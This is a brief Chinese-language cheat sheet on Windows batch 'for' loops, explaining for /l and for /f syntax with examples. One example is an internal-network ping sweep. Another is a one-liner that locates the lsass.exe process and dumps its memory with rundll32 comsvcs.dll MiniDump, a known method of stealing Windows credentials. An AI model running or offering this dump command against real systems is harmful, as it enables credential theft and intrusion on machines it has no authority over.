Dos命令小记

For命令的使用

for /l
通常用来遍历

FOR /L %variable IN (start,step,end) DO command [command-parameters]

for /f
通常用来筛选

FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

内网Ping扫描

for /l %i in (1,1,254) do @ping 192.168.1.%i -w 10 -n 1 | find "Reply"

筛选进程名获得PID

for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %i .\lsass.dmp full
tokens=2意思是筛选出第二列，/NH不列出列表名

批处理里中常用

@echo off 关闭回显